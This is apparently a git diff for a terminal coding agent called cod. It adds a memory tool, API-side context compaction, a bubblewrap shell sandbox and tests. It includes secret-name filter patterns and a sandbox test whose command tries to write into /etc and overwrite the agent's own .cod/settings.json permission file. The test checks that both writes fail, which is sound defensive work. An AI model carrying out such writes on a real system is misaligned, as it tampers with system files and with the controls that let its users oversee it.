100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -9,7 +9,7 @@ 3. If the response stops for `tool_use`, each call is checked against the permission policy (deny, allow, or ask the user), run, and its result sent back in the next request. This repeats until Claude ends its turn, up to 50 rounds. 4. Every message is written to `.cod/sessions/.jsonl` as soon as it is final. -The request uses the same settings as the web chat (table below) plus `tools`, each with `eager_input_streaming: true`. The system prompt (base instructions, the project root, and the project's `CLAUDE.md` and `AGENTS.md`) is built when the session starts and stored in its header, and the tool list never changes, so every request in a session shares a cacheable prefix, including after a resume. +The request uses the same settings as the web chat (table below) plus `tools` (each client tool with `eager_input_streaming: true`, then the `memory_20250818` tool) and server-side compaction: `context_management` with a `compact_20260112` edit triggered at 150,000 input tokens, under beta `compact-2026-01-12`. When it triggers, the response starts with a `compaction` block. That block is stored with the rest of the assistant content and sent back unchanged, and the API reads the conversation from it onward. The system prompt (base instructions, the project root, and the project's `CLAUDE.md` and `AGENTS.md`) is built when the session starts and stored in its header, and so is whether the memory tool is on, so the tool list never changes, so every request in a session shares a cacheable prefix, including after a resume. | Stop reason | Handling | | :--- | :--- | diff --git a/README.md b/README.md index 24a6497..c04a2c3 100755 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ A coding agent for the terminal, plus a local web chat, built on the Claude Messages API with the Anthropic Python SDK. -`cod` gives Claude six tools in your project (read, write and edit files, glob, grep, and a shell), asks before it edits or runs anything, and saves every session so you can pick it up later. +`cod` gives Claude tools in your project (read, write and edit files, glob, grep, a shell, and a memory folder), asks before it edits or runs anything, and saves every session so you can pick it up later. Long sessions are compacted by the API, so they can keep going past the context window. ## Install @@ -36,8 +36,12 @@ cod --resume 20261025-164712-76741b | `--hide-thinking` | Don't request or print thinking summaries | | `--no-project-files` | Leave `CLAUDE.md` and `AGENTS.md` out of a new session's prompt | | `--no-fallbacks` | Turn off the server-side refusal fallback | +| `--sandbox auto\|on\|off` | Run shell commands under bubblewrap; `auto` (default) uses it when `bwrap` is installed | +| `--compact-at TOKENS` | Input size at which the API summarizes earlier context (default 150,000) | +| `--no-compact` | Turn off server-side compaction | +| `--no-memory` | Start a session without the memory tool | -In the interactive session, `/help`, `/session`, `/usage` and `/exit` are available, and Ctrl-C stops the current turn. +In the interactive session, `/help`, `/session`, `/usage` and `/exit` are available, and Ctrl-C stops the current turn. Token usage is printed after each turn. ### Permissions @@ -54,7 +58,13 @@ Standing rules go in `.cod/settings.json` in the project. A rule is a tool name, } ``` -All paths are confined to the project root. Shell commands run with stdin closed and with environment variables whose names look like secrets (`*KEY*`, `*TOKEN*`, `*SECRET*`, `*PASSWORD*`, `*CREDENTIAL*`, `*AUTH*`) removed. The shell is not otherwise sandboxed, so treat `--allow-all` as giving Claude your shell. +All paths are confined to the project root, and the file tools can't write into `.cod/`. Shell commands run with stdin closed and with environment variables whose names look like secrets (`*KEY*`, `*TOKEN*`, `*SECRET*`, `*PASSWORD*`, `*CREDENTIAL*`, `*AUTH*`) removed. + +When [bubblewrap](https://github.com/containers/bubblewrap) is installed (`apt install bubblewrap`), shell commands also run in a sandbox: everything outside the project and a private `/tmp` is read-only, your home directory is hidden apart from `~/.gitconfig`, and `.cod/` is read-only. The network stays on. Without bubblewrap the shell runs as you, so treat `--allow-all` as giving Claude your shell; `--sandbox on` refuses to start instead. + +### Memory + +Claude can keep notes for a project in `.cod/memory/` with the memory tool, and checks them at the start of a task. Memory writes don't ask for approval because they can't leave that folder; a rule such as `"deny": ["memory(delete *)"]` restricts them. ### Sessions @@ -83,7 +93,8 @@ src/ ├── web_server.py # FastAPI server for the web chat ├── agent/ │ ├── engine.py # the tool-use loop -│ ├── tools.py # file, search and shell tools +│ ├── tools.py # file, search and shell tools, bubblewrap sandbox +│ ├── memory_tool.py # the memory tool, stored in .cod/memory/ │ ├── permissions.py │ ├── session.py # JSONL session files │ ├── prompt.py # system prompt diff --git a/src/agent/engine.py b/src/agent/engine.py index 1f60f26..2d74a58 100644 --- a/src/agent/engine.py +++ b/src/agent/engine.py @@ -18,7 +18,15 @@ from typing import Any, AsyncIterator, Awaitable, Callable, Literal import anthropic -from src.agent.models import DEFAULT_MODEL, MODELS, fallback_params, history_content +from src.agent.models import ( + DEFAULT_COMPACT_AT, + DEFAULT_MODEL, + MODELS, + compaction_params, + fallback_params, + history_content, + merge_params, +) from src.agent.permissions import EDIT_TOOLS, PermissionPolicy, Rule from src.agent.session import Session from src.agent.tools import Toolbox, ToolResult, api_tool_definitions @@ -80,6 +88,11 @@ class FallbackNotice: to_model: str | None +@dataclass +class CompactionNotice: + """The API summarized the earlier conversation to make room.""" + + @dataclass class TurnEnd: """ @@ -99,7 +112,7 @@ class ApiError: message: str -Event = TextDelta | ThinkingDelta | BlockStart | ToolCall | ToolOutput | FallbackNotice | TurnEnd | ApiError +Event = TextDelta | ThinkingDelta | BlockStart | ToolCall | ToolOutput | FallbackNotice | CompactionNotice | TurnEnd | ApiError @dataclass @@ -115,6 +128,8 @@ class AgentConfig: fallbacks: bool = True max_tokens: int = MAX_OUTPUT_TOKENS max_tool_rounds: int = MAX_TOOL_ROUNDS + # Input size that triggers server-side compaction; None turns it off. + compact_at: int | None = DEFAULT_COMPACT_AT @dataclass @@ -152,7 +167,9 @@ class Agent: self.config = config or AgentConfig(model=session.model) if self.config.model not in MODELS: raise ValueError(f"unsupported model {self.config.model!r}") - self.tools = api_tool_definitions() + if session.memory_tool and toolbox.memory is None: + raise ValueError("this session uses the memory tool, but the toolbox has no memory store") + self.tools = api_tool_definitions(memory=session.memory_tool) # Results of the tool round in progress, kept so an interrupt can record them. self._pending_results: list[dict[str, Any]] | None = None @@ -169,8 +186,7 @@ class Agent: # Automatic caching: the breakpoint moves to the newest block each request. "cache_control": {"type": "ephemeral"}, } - params.update(fallback_params(cfg.model, cfg.fallbacks)) - return params + return merge_params(params, fallback_params(cfg.model, cfg.fallbacks), compaction_params(cfg.compact_at)) async def send(self, prompt: str) -> AsyncIterator[Event]: """Runs one user turn and yields its events, ending with `TurnEnd` or `ApiError`.""" @@ -249,6 +265,8 @@ class Agent: kind = event.content_block.type if kind in ("text", "thinking"): yield BlockStart(kind) + elif kind == "compaction": + yield CompactionNotice() elif kind == "fallback": block = event.content_block.to_dict() yield FallbackNotice((block.get("from") or {}).get("model"), (block.get("to") or {}).get("model")) diff --git a/src/agent/memory_tool.py b/src/agent/memory_tool.py new file mode 100644 index 0000000..fbc2b84 --- /dev/null +++ b/src/agent/memory_tool.py @@ -0,0 +1,177 @@ +""" +The memory tool (`src/agent/memory_tool.py`). + +Implements the client side of Anthropic's `memory_20250818` tool: Claude sees +a `/memories` directory and keeps notes there across sessions. Here that +directory is `/.cod/memory/`, so memories belong to the project. +Every path is checked to stay inside it, symlinks included. +""" +from pathlib import Path +import shutil +from typing import Annotated, Any, Literal, Union + +from pydantic import BaseModel, Field, TypeAdapter, ValidationError + +MEMORY_TOOL = {"type": "memory_20250818", "name": "memory"} +VIRTUAL_ROOT = "/memories" +MEMORY_DIR = Path(".cod") / "memory" +MAX_VIEW_ENTRIES = 200 + + +class MemoryToolError(Exception): + pass + + +class View(BaseModel, extra="forbid"): + command: Literal["view"] + path: str + view_range: list[int] | None = Field(default=None, min_length=2, max_length=2) + + +class Create(BaseModel, extra="forbid"): + command: Literal["create"] + path: str + file_text: str + + +class StrReplace(BaseModel, extra="forbid"): + command: Literal["str_replace"] + path: str + old_str: str = Field(min_length=1) + new_str: str + + +class Insert(BaseModel, extra="forbid"): + command: Literal["insert"] + path: str + insert_line: int = Field(ge=0) + insert_text: str + + +class Delete(BaseModel, extra="forbid"): + command: Literal["delete"] + path: str + + +class Rename(BaseModel, extra="forbid"): + command: Literal["rename"] + old_path: str + new_path: str + + +Command = TypeAdapter(Annotated[Union[View, Create, StrReplace, Insert, Delete, Rename], Field(discriminator="command")]) + + +def describe(tool_input: dict[str, Any]) -> str: + """A one-line summary for permission rules: the command and its path.""" + path = tool_input.get("path") or tool_input.get("old_path") or "" + return f"{tool_input.get('command', '')} {path}".strip() + + +class MemoryStore: + def __init__(self, project_root: str | Path) -> None: + self.root = (Path(project_root) / MEMORY_DIR).resolve() + + def _resolve(self, path: str) -> Path: + if path != VIRTUAL_ROOT and not path.startswith(VIRTUAL_ROOT + "/"): + raise MemoryToolError(f"Memory paths must start with {VIRTUAL_ROOT}, got {path!r}") + relative = path[len(VIRTUAL_ROOT):].lstrip("/") + target = (self.root / relative).resolve() + if target != self.root and not target.is_relative_to(self.root): + raise MemoryToolError(f"{path} is outside {VIRTUAL_ROOT}") + return target + + def _virtual(self, target: Path) -> str: + relative = target.relative_to(self.root).as_posix() + return VIRTUAL_ROOT if relative == "." else f"{VIRTUAL_ROOT}/{relative}" + + def run(self, tool_input: Any) -> str: + try: + command = Command.validate_python(tool_input) + except ValidationError as exc: + problems = "; ".join(f"{'.'.join(map(str, e['loc'])) or 'input'}: {e['msg']}" for e in exc.errors()) + raise MemoryToolError(f"Invalid memory command: {problems}") + self.root.mkdir(parents=True, exist_ok=True) + return getattr(self, command.command)(command) + + def view(self, cmd: View) -> str: + target = self._resolve(cmd.path) + if target.is_dir(): + entries = [] + for path in sorted(target.rglob("*")): + if any(part.startswith(".") for part in path.relative_to(target).parts): + continue + suffix = "/" if path.is_dir() else f" ({path.stat().st_size} bytes)" + entries.append(self._virtual(path) + suffix) + if len(entries) >= MAX_VIEW_ENTRIES: + entries.append("…") + break + listing = "\n".join(entries) if entries else "(empty)" + return f"Directory {self._virtual(target)}:\n{listing}" + if not target.is_file(): + raise MemoryToolError(f"{cmd.path} does not exist") + lines = target.read_text(encoding="utf-8").splitlines() + start, end = 1, len(lines) + if cmd.view_range: + start, end = cmd.view_range[0], (len(lines) if cmd.view_range[1] == -1 else cmd.view_range[1]) + if start < 1 or end < start: + raise MemoryToolError(f"invalid view_range {cmd.view_range}") + return "\n".join(f"{n:>6}\t{lines[n - 1]}" for n in range(start, min(end, len(lines)) + 1)) + + def create(self, cmd: Create) -> str: + target = self._resolve(cmd.path) + if target == self.root or target.is_dir(): + raise MemoryToolError(f"{cmd.path} is a directory") + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(cmd.file_text, encoding="utf-8") + return f"Saved {cmd.path}." + + def _file(self, path: str) -> Path: + target = self._resolve(path) + if not target.is_file(): + raise MemoryToolError(f"{path} does not exist") + return target + + def str_replace(self, cmd: StrReplace) -> str: + target = self._file(cmd.path) + text = target.read_text(encoding="utf-8") + count = text.count(cmd.old_str) + if count != 1: + raise MemoryToolError(f"old_str appears {count} times in {cmd.path}; it must appear exactly once") + target.write_text(text.replace(cmd.old_str, cmd.new_str, 1), encoding="utf-8") + return f"Edited {cmd.path}." + + def insert(self, cmd: Insert) -> str: + target = self._file(cmd.path) + lines = target.read_text(encoding="utf-8").splitlines(keepends=True) + if cmd.insert_line > len(lines): + raise MemoryToolError(f"insert_line {cmd.insert_line} is past the end of {cmd.path} ({len(lines)} lines)") + if lines and not lines[-1].endswith("\n"): + lines[-1] += "\n" + text = cmd.insert_text if cmd.insert_text.endswith("\n") else cmd.insert_text + "\n" + lines.insert(cmd.insert_line, text) + target.write_text("".join(lines), encoding="utf-8") + return f"Inserted text at line {cmd.insert_line} of {cmd.path}." + + def delete(self, cmd: Delete) -> str: + target = self._resolve(cmd.path) + if target == self.root: + raise MemoryToolError(f"Cannot delete {VIRTUAL_ROOT} itself") + if target.is_dir() and not target.is_symlink(): + shutil.rmtree(target) + elif target.exists() or target.is_symlink(): + target.unlink() + else: + raise MemoryToolError(f"{cmd.path} does not exist") + return f"Deleted {cmd.path}." + + def rename(self, cmd: Rename) -> str: + source = self._resolve(cmd.old_path) + dest = self._resolve(cmd.new_path) + if source == self.root or not source.exists(): + raise MemoryToolError(f"{cmd.old_path} does not exist") + if dest.exists(): + raise MemoryToolError(f"{cmd.new_path} already exists") + dest.parent.mkdir(parents=True, exist_ok=True) + source.rename(dest) + return f"Renamed {cmd.old_path} to {cmd.new_path}." diff --git a/src/agent/models.py b/src/agent/models.py index 1418781..760d758 100644 --- a/src/agent/models.py +++ b/src/agent/models.py @@ -14,6 +14,8 @@ MODELS: dict[str, dict[str, Any]] = { DEFAULT_MODEL = "claude-opus-5-5" EFFORT_LEVELS = ("low", "medium", "high", "xhigh", "max") FALLBACK_BETA = "server-side-fallback-2026-07-01" +COMPACT_BETA = "compact-2026-01-12" +DEFAULT_COMPACT_AT = 150_000 def fallback_params(model: str, enabled: bool) -> dict[str, Any]: @@ -26,9 +28,32 @@ def fallback_params(model: str, enabled: bool) -> dict[str, Any]: def history_content(content: list[dict[str, Any]]) -> list[dict[str, Any]]: """ Returns the assistant content to echo back on the next turn. After a - mid-output fallback, only text survives from the blocks before the last - `fallback` marker; the marker and everything after it are kept unchanged - so thinking blocks stay valid. + mid-output fallback, only text (and any compaction summary) survives from + the blocks before the last `fallback` marker; the marker and everything + after it are kept unchanged so thinking blocks stay valid. """ last_fallback = max((i for i, b in enumerate(content) if b.get("type") == "fallback"), default=-1) - return [b for i, b in enumerate(content) if i >= last_fallback or b.get("type") == "text"] + return [b for i, b in enumerate(content) if i >= last_fallback or b.get("type") in ("text", "compaction")] + +def compaction_params(trigger_tokens: int | None) -> dict[str, Any]: + """ + Server-side compaction: once the input passes `trigger_tokens`, the API + summarizes the earlier conversation into a `compaction` block at the start + of the response, and later requests read from that block onward. + """ + if not trigger_tokens: + return {} + edit = {"type": "compact_20260112", "trigger": {"type": "input_tokens", "value": trigger_tokens}} + return {"betas": [COMPACT_BETA], "context_management": {"edits": [edit]}} + + +def merge_params(*parts: dict[str, Any]) -> dict[str, Any]: + """Merges request fragments, concatenating their `betas` lists.""" + merged: dict[str, Any] = {} + for part in parts: + for key, value in part.items(): + if key == "betas": + merged["betas"] = merged.get("betas", []) + [b for b in value if b not in merged.get("betas", [])] + else: + merged[key] = value + return merged diff --git a/src/agent/permissions.py b/src/agent/permissions.py index bd25253..5bcb8d7 100644 --- a/src/agent/permissions.py +++ b/src/agent/permissions.py @@ -5,7 +5,9 @@ A rule is `tool` or `tool(pattern)`, where the pattern is a shell-style glob matched against the call's summary: the command for `bash`, the path for the file tools, the pattern for `glob` and `grep`. Rules come in three lists: `deny` always wins, then `allow`, then `ask`; anything unmatched falls back to -the mode's default (reads are allowed, edits and shell commands ask). +the mode's default (reads and the memory tool are allowed, edits and shell +commands ask). The memory tool's summary is its command and path, such as +`create /memories/notes.md`. Rules are read from `.cod/settings.json` in the project: @@ -25,6 +27,8 @@ Decision = Literal["allow", "ask", "deny"] Mode = Literal["default", "accept-edits", "allow-all"] EDIT_TOOLS = frozenset({"write_file", "edit_file"}) +# The memory tool only touches `.cod/memory/`, so it runs without asking. +AUTO_ALLOWED = READ_ONLY_TOOLS | {"memory"} RULE_PATTERN = re.compile(r"^(?P[a-z_]+)(?:\((?P.*)\))?$") @@ -85,7 +89,7 @@ class PermissionPolicy: return "allow" if any(r.matches(tool, summary) for r in self.ask): return "allow" if self.mode == "allow-all" else "ask" - if tool in READ_ONLY_TOOLS or self.mode == "allow-all": + if tool in AUTO_ALLOWED or self.mode == "allow-all": return "allow" if tool in EDIT_TOOLS and self.mode == "accept-edits": return "allow" diff --git a/src/agent/session.py b/src/agent/session.py index be9a4a1..19eca3b 100644 --- a/src/agent/session.py +++ b/src/agent/session.py @@ -30,15 +30,21 @@ class Session: system_prompt: str created_at: str messages: list[dict[str, Any]] = field(default_factory=list) + # Whether the session's tool list includes the memory tool. Fixed at creation + # so the tool list, like the system prompt, is the same on every request. + memory_tool: bool = True @classmethod - def create(cls, root: str | Path, model: str, system_prompt: str) -> "Session": + def create(cls, root: str | Path, model: str, system_prompt: str, memory_tool: bool = True) -> "Session": directory = Path(root) / SESSIONS_DIR directory.mkdir(parents=True, exist_ok=True) created = datetime.now(timezone.utc) session_id = created.strftime("%Y%m%d-%H%M%S-") + secrets.token_hex(3) - session = cls(directory / f"{session_id}.jsonl", session_id, model, system_prompt, created.isoformat()) - header = {"type": "session", "id": session_id, "model": model, "system_prompt": system_prompt, "created_at": session.created_at} + session = cls(directory / f"{session_id}.jsonl", session_id, model, system_prompt, created.isoformat(), memory_tool=memory_tool) + header = { + "type": "session", "id": session_id, "model": model, "system_prompt": system_prompt, + "created_at": session.created_at, "memory_tool": memory_tool, + } session.path.write_text(json.dumps(header, ensure_ascii=False) + "\n", encoding="utf-8") return session @@ -66,7 +72,10 @@ class Session: messages.append(record["message"]) elif record.get("type") == "rollback": del messages[len(messages) - int(record["count"]):] - return cls(path, header["id"], header["model"], header["system_prompt"], header["created_at"], messages) + return cls( + path, header["id"], header["model"], header["system_prompt"], header["created_at"], messages, + memory_tool=bool(header.get("memory_tool", False)), + ) @classmethod def find(cls, root: str | Path, session_id: str | None = None) -> "Session": diff --git a/src/agent/terminal.py b/src/agent/terminal.py index 4865afa..c5668f5 100644 --- a/src/agent/terminal.py +++ b/src/agent/terminal.py @@ -16,6 +16,7 @@ from src.agent.engine import ( ApiError, Approval, BlockStart, + CompactionNotice, Event, FallbackNotice, TextDelta, @@ -97,6 +98,9 @@ class Renderer: elif isinstance(event, FallbackNotice): self.finish_block() self.line(self.info, self.style.dim(f"(continuing on {event.to_model or 'a fallback model'})")) + elif isinstance(event, CompactionNotice): + self.finish_block() + self.line(self.info, self.style.dim("(earlier conversation summarized to free up context)")) elif isinstance(event, ToolCall): self.finish_block() self.line(self.info, self.style.bold(f"● {event.name}") + f" {one_line(event.summary)}") @@ -256,6 +260,7 @@ def run_repl(agent: Agent, renderer: Renderer, read_line: Callable[[str], str] = if isinstance(last, TurnEnd): for key, value in last.usage.items(): totals[key] = totals.get(key, 0) + value + renderer.line(renderer.info, style.dim(format_usage(last.usage))) def is_interactive(stream: TextIO = sys.stdin) -> bool: diff --git a/src/agent/tools.py b/src/agent/tools.py index e2bfb39..d4dbddf 100644 --- a/src/agent/tools.py +++ b/src/agent/tools.py @@ -2,20 +2,30 @@ Client-side tools the agent can call (`src/agent/tools.py`). Every path is resolved against the project root and rejected if it escapes it -(`..`, absolute paths elsewhere, symlinks out). Tool inputs come from the model, -so each one is validated against a pydantic model before anything runs, and -failures come back as `is_error` tool results rather than exceptions. +(`..`, absolute paths elsewhere, symlinks out). The file tools can't write +into `.cod/`, where the permission settings live. Tool inputs come from the +model, so each one is validated against a pydantic model before anything runs, +and failures come back as `is_error` tool results rather than exceptions. + +Shell commands run under bubblewrap (`bwrap`) when it is installed: the file +system is read-only except the project root and a private `/tmp`, the home +directory is hidden apart from `~/.gitconfig`, and `.cod/` stays read-only. +The network is left on so package managers and git keep working. """ from dataclasses import dataclass import fnmatch import os from pathlib import Path import re +import shutil import subprocess -from typing import Any, Callable +from typing import Any, Callable, Literal from pydantic import BaseModel, Field, ValidationError +from src.agent.memory_tool import MEMORY_TOOL, MemoryStore, MemoryToolError +from src.agent.memory_tool import describe as describe_memory + MAX_READ_LINES = 2000 MAX_OUTPUT_CHARS = 30_000 MAX_GLOB_RESULTS = 500 @@ -142,15 +152,42 @@ TOOL_DEFINITIONS: list[dict[str, Any]] = [ }, ] -TOOL_NAMES = tuple(t["name"] for t in TOOL_DEFINITIONS) +TOOL_NAMES = tuple(t["name"] for t in TOOL_DEFINITIONS) + ("memory",) READ_ONLY_TOOLS = frozenset({"read_file", "glob", "grep"}) +PROTECTED_DIR = ".cod" + +SandboxMode = Literal["auto", "on", "off"] -def api_tool_definitions(eager_input_streaming: bool = True) -> list[dict[str, Any]]: - """Tool definitions for a streaming request; eager streaming sends large inputs as they are generated.""" - if not eager_input_streaming: - return [dict(t) for t in TOOL_DEFINITIONS] - return [{**t, "eager_input_streaming": True} for t in TOOL_DEFINITIONS] +def api_tool_definitions(eager_input_streaming: bool = True, memory: bool = True) -> list[dict[str, Any]]: + """ + Tool definitions for a streaming request; eager streaming sends large inputs + as they are generated. The memory tool's schema is defined by the API, so it + is sent by type only. + """ + tools = [{**t, "eager_input_streaming": True} if eager_input_streaming else dict(t) for t in TOOL_DEFINITIONS] + if memory: + tools.append(dict(MEMORY_TOOL)) + return tools + + +def bwrap_command(root: Path, command: str, home: Path | None) -> list[str]: + """The bubblewrap invocation that runs `command` in `root` with the rest of the system read-only.""" + args = [ + "bwrap", "--die-with-parent", "--unshare-pid", "--unshare-ipc", "--unshare-uts", + "--ro-bind", "/", "/", "--dev", "/dev", "--proc", "/proc", "--tmpfs", "/tmp", + ] + if home and home.is_dir() and home != Path("/"): + args += ["--tmpfs", str(home)] + gitconfig = home / ".gitconfig" + if gitconfig.is_file(): + args += ["--ro-bind", str(gitconfig), str(gitconfig)] + # Later mounts win, so the project is writable even under $HOME or /tmp. + args += ["--bind", str(root), str(root)] + protected = root / PROTECTED_DIR + if protected.is_dir(): + args += ["--ro-bind", str(protected), str(protected)] + return args + ["--chdir", str(root), "bash", "-c", command] def sanitized_env(base: dict[str, str] | None = None) -> dict[str, str]: @@ -167,8 +204,13 @@ def _truncate(text: str, limit: int = MAX_OUTPUT_CHARS) -> str: class Toolbox: """Runs tool calls against one project root.""" - def __init__(self, root: str | Path) -> None: + def __init__(self, root: str | Path, sandbox: SandboxMode = "auto", memory: bool = True) -> None: self.root = Path(root).resolve() + has_bwrap = shutil.which("bwrap") is not None + if sandbox == "on" and not has_bwrap: + raise ToolError("--sandbox on needs bubblewrap (bwrap), which is not installed") + self.sandboxed = sandbox != "off" and has_bwrap + self.memory = MemoryStore(self.root) if memory else None # ---------- paths ---------- @@ -178,6 +220,13 @@ class Toolbox: raise ToolError(f"{raw} is outside the project root") return candidate + def resolve_writable(self, raw: str) -> Path: + path = self.resolve(raw) + protected = self.root / PROTECTED_DIR + if path == protected or path.is_relative_to(protected): + raise ToolError(f"{raw} is inside {PROTECTED_DIR}/, which holds cod's own settings and sessions") + return path + def relative(self, path: Path) -> str: return path.relative_to(self.root).as_posix() or "." @@ -187,6 +236,8 @@ class Toolbox: return str(tool_input.get("command", "")) if name in ("glob", "grep"): return str(tool_input.get("pattern", "")) + if name == "memory": + return describe_memory(tool_input) return str(tool_input.get("path", "")) # ---------- dispatch ---------- @@ -200,6 +251,13 @@ class Toolbox: "grep": (GrepInput, self.grep), "bash": (BashInput, self.bash), } + if name == "memory" and self.memory: + try: + return ToolResult(_truncate(self.memory.run(tool_input))) + except MemoryToolError as exc: + return ToolResult(str(exc), is_error=True) + except OSError as exc: + return ToolResult(f"memory failed: {exc.strerror or exc}", is_error=True) if name not in handlers: return ToolResult(f"Unknown tool {name!r}.", is_error=True) model, handler = handlers[name] @@ -239,7 +297,7 @@ class Toolbox: return body def write_file(self, args: WriteFileInput) -> str: - path = self.resolve(args.path) + path = self.resolve_writable(args.path) if path.is_dir(): raise ToolError(f"{args.path} is a directory") existed = path.exists() @@ -249,7 +307,7 @@ class Toolbox: return f"{verb} {self.relative(path)} ({len(args.content.splitlines())} lines)." def edit_file(self, args: EditFileInput) -> str: - path = self.resolve(args.path) + path = self.resolve_writable(args.path) if not path.is_file(): raise ToolError(f"{args.path} is not a file") text = path.read_text(encoding="utf-8") @@ -314,8 +372,9 @@ class Toolbox: def bash(self, args: BashInput) -> str: try: + argv = bwrap_command(self.root, args.command, Path.home()) if self.sandboxed else ["bash", "-c", args.command] proc = subprocess.run( - ["bash", "-c", args.command], + argv, cwd=self.root, env=sanitized_env(), capture_output=True, diff --git a/src/cli.py b/src/cli.py index 654187a..8f7521f 100755 --- a/src/cli.py +++ b/src/cli.py @@ -13,7 +13,7 @@ import ipaddress from pathlib import Path import sys -from src.agent.models import DEFAULT_MODEL, EFFORT_LEVELS, MODELS +from src.agent.models import DEFAULT_COMPACT_AT, DEFAULT_MODEL, EFFORT_LEVELS, MODELS def is_loopback_host(host: str) -> bool: @@ -61,6 +61,17 @@ def agent_parser() -> argparse.ArgumentParser: parser.add_argument("--hide-thinking", action="store_true", help="Don't print Claude's thinking summaries.") parser.add_argument("--no-project-files", action="store_true", help="Leave CLAUDE.md and AGENTS.md out of a new session's system prompt.") parser.add_argument("--no-fallbacks", action="store_true", help="Turn off the server-side refusal fallback.") + parser.add_argument("--no-memory", action="store_true", help="Start a session without the memory tool (.cod/memory/).") + parser.add_argument( + "--sandbox", choices=["auto", "on", "off"], default="auto", + help="Run shell commands under bubblewrap: auto uses it when installed, on requires it (default: auto).", + ) + compact = parser.add_mutually_exclusive_group() + compact.add_argument( + "--compact-at", type=int, metavar="TOKENS", default=DEFAULT_COMPACT_AT, + help=f"Input size at which the API summarizes earlier context (default: {DEFAULT_COMPACT_AT:,}).", + ) + compact.add_argument("--no-compact", action="store_true", help="Turn off server-side compaction.") return parser @@ -76,7 +87,7 @@ def agent_main(argv: list[str], client=None, stdin=None, stdout=None, stderr=Non from src.agent.prompt import build_agent_prompt from src.agent.session import Session, SessionError from src.agent import terminal - from src.agent.tools import Toolbox + from src.agent.tools import ToolError, Toolbox root = Path(args.root).resolve() if not root.is_dir(): @@ -93,10 +104,11 @@ def agent_main(argv: list[str], client=None, stdin=None, stdout=None, stderr=Non session = Session.find(root, args.resume) else: system_prompt = build_agent_prompt(root, include_project_files=not args.no_project_files) - session = Session.create(root, args.model or DEFAULT_MODEL, system_prompt) + session = Session.create(root, args.model or DEFAULT_MODEL, system_prompt, memory_tool=not args.no_memory) mode = "allow-all" if args.allow_all else "accept-edits" if args.accept_edits else "default" policy = PermissionPolicy.from_settings(root, mode) - except (SessionError, InvalidRuleError) as exc: + toolbox = Toolbox(root, sandbox=args.sandbox, memory=session.memory_tool) + except (SessionError, InvalidRuleError, ToolError) as exc: stderr.write(f"cod: {exc}\n") return 1 @@ -117,8 +129,9 @@ def agent_main(argv: list[str], client=None, stdin=None, stdout=None, stderr=Non effort=args.effort, thinking_display="omitted" if args.hide_thinking else "summarized", fallbacks=not args.no_fallbacks, + compact_at=None if args.no_compact else args.compact_at, ) - agent = Agent(client, session, Toolbox(root), policy, approver, config) + agent = Agent(client, session, toolbox, policy, approver, config) if prompt is not None: renderer = terminal.Renderer(stdout, stderr, style, show_thinking=not args.hide_thinking) diff --git a/tests/test_agent.py b/tests/test_agent.py index bcf4f9a..d180a5f 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -4,6 +4,7 @@ import io import json import os from pathlib import Path +import shutil import sys import tempfile import unittest @@ -22,7 +23,8 @@ from src.agent.engine import Agent, AgentConfig, ApiError, FallbackNotice, TextD from src.agent.permissions import InvalidRuleError, PermissionPolicy, Rule from src.agent.prompt import build_agent_prompt from src.agent.session import Session, SessionError -from src.agent.tools import MAX_OUTPUT_CHARS, Toolbox, api_tool_definitions, sanitized_env +from src.agent.models import COMPACT_BETA, FALLBACK_BETA +from src.agent.tools import MAX_OUTPUT_CHARS, ToolError, Toolbox, api_tool_definitions, bwrap_command, sanitized_env class TempProject(unittest.TestCase): @@ -120,9 +122,102 @@ class ToolTests(TempProject): def test_tool_definitions_stream_eagerly(self): tools = api_tool_definitions() - self.assertEqual([t["name"] for t in tools], ["read_file", "write_file", "edit_file", "glob", "grep", "bash"]) - self.assertTrue(all(t["eager_input_streaming"] for t in tools)) - self.assertTrue(all(t["input_schema"]["additionalProperties"] is False for t in tools)) + self.assertEqual([t["name"] for t in tools], ["read_file", "write_file", "edit_file", "glob", "grep", "bash", "memory"]) + self.assertTrue(all(t["eager_input_streaming"] for t in tools[:-1])) + self.assertTrue(all(t["input_schema"]["additionalProperties"] is False for t in tools[:-1])) + # The memory tool's schema belongs to the API: it is sent by type only. + self.assertEqual(tools[-1], {"type": "memory_20250818", "name": "memory"}) + self.assertEqual([t["name"] for t in api_tool_definitions(memory=False)][-1], "bash") + + def test_file_tools_cannot_write_cod_settings(self): + for name, tool_input in [ + ("write_file", {"path": ".cod/settings.json", "content": "{}"}), + ("edit_file", {"path": ".cod/settings.json", "old_string": "a", "new_string": "b"}), + ("write_file", {"path": "./.cod/sessions/x.jsonl", "content": ""}), + ]: + with self.subTest(tool_input=tool_input): + result = self.toolbox.run(name, tool_input) + self.assertTrue(result.is_error) + self.assertIn(".cod/", result.content) + self.assertFalse((self.root / ".cod" / "settings.json").exists()) + + def test_bwrap_command_confines_writes(self): + home = self.root / "home" + home.mkdir() + (home / ".gitconfig").write_text("[user]\n", encoding="utf-8") + (self.root / ".cod").mkdir() + argv = bwrap_command(self.root, "make test", home) + pairs = [tuple(argv[i:i + 3]) for i in range(len(argv) - 2)] + self.assertIn(("--ro-bind", "/", "/"), pairs) + self.assertIn(("--bind", str(self.root), str(self.root)), pairs) + self.assertIn(("--ro-bind", str(self.root / ".cod"), str(self.root / ".cod")), pairs) + # Home is hidden before the project is bound, so a project under $HOME stays writable. + self.assertLess(argv.index(str(home)), argv.index("--bind")) + self.assertIn(str(home / ".gitconfig"), argv) + self.assertEqual(argv[-3:], ["bash", "-c", "make test"]) + + @unittest.skipUnless(shutil.which("bwrap"), "bubblewrap is not installed") + def test_sandboxed_shell_writes_only_the_project(self): + (self.root / ".cod").mkdir() + toolbox = Toolbox(self.root, sandbox="on") + result = toolbox.run("bash", {"command": "echo hi > ok.txt; touch /etc/cod-test; echo x > .cod/settings.json; true"}) + self.assertEqual((self.root / "ok.txt").read_text(), "hi\n") + self.assertFalse(Path("/etc/cod-test").exists()) + self.assertFalse((self.root / ".cod" / "settings.json").exists()) + self.assertEqual(result.content.count("Read-only file system"), 2) + + def test_sandbox_modes(self): + with mock.patch("shutil.which", return_value=None): + self.assertFalse(Toolbox(self.root).sandboxed) + with self.assertRaises(ToolError): + Toolbox(self.root, sandbox="on") + with mock.patch("shutil.which", return_value="/usr/bin/bwrap"): + self.assertTrue(Toolbox(self.root).sandboxed) + self.assertFalse(Toolbox(self.root, sandbox="off").sandboxed) + + +class MemoryToolTests(TempProject): + def memory(self, **tool_input): + return self.toolbox.run("memory", tool_input) + 